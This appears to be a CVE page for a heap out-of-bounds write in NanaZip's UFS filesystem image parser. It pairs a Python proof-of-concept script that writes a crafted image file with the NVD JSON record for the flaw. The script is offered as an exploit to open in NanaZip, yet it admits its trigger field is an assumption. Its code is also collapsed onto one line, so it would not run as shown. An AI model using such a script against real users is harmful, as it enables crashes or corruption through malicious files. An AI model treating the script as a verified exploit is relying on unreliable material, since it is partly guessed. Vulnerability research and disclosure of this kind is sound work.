CVE-2026-44215

import struct def create_ufs_poc(filename): # PoC for CVE-2026-44215: NanaZip Heap OOB Write # This script generates a crafted UFS image header. # The vulnerability is triggered when NanaZip parses the UFS filesystem image. # Adjusting specific offsets can trigger the out-of-bounds write. with open(filename, 'wb') as f: # UFS Superblock structure (Simplified) # Write a dummy header to pass initial checks data = b'\x00' * 1372 f.write(data) # Write a crafted superblock # Magic number (0x00011954 for BE) f.write(struct.pack('>I', 0x00011954)) # Fill other fields to reach the vulnerable offset f.write(b'\x00' * 100) # Trigger field: value that leads to the calculated offset being out of bounds # Assuming the vulnerability is in reading inode counts or block pointers f.write(struct.pack('>I', 0xFFFFFFFF)) # Malformed value # Continue padding to make a valid file size f.write(b'\x00' * 4096) print(f"POC file generated: {filename}") print("Open this file with NanaZip to trigger the vulnerability.") create_ufs_poc("cve_2026_44215_poc.img")

{"cve": {"id": "CVE-2026-44215", "sourceIdentifier": "[email protected]", "published": "2026-05-12T20:16:42.387", "lastModified": "2026-05-12T20:16:42.387", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "NanaZip is an open source file archive. From 5.0.1252.0 to before 6.0.1698.0, a one-byte heap out-of-bounds null write exists in the UFS/UFS2 filesystem image parser in NanaZip. The vulnerability is triggered when opening a crafted UFS filesystem image. The attacker controls the byte offset of the write within a ~254-byte window past the heap allocation boundary. This vulnerability is fixed in 6.0.1698.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:L", "baseScore": 4.4, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-787"}]}], "references": [{"url": "https://github.com/M2Team/NanaZip/security/advisories/GHSA-44wh-7gc3-w936", "source": "[email protected]"}]}}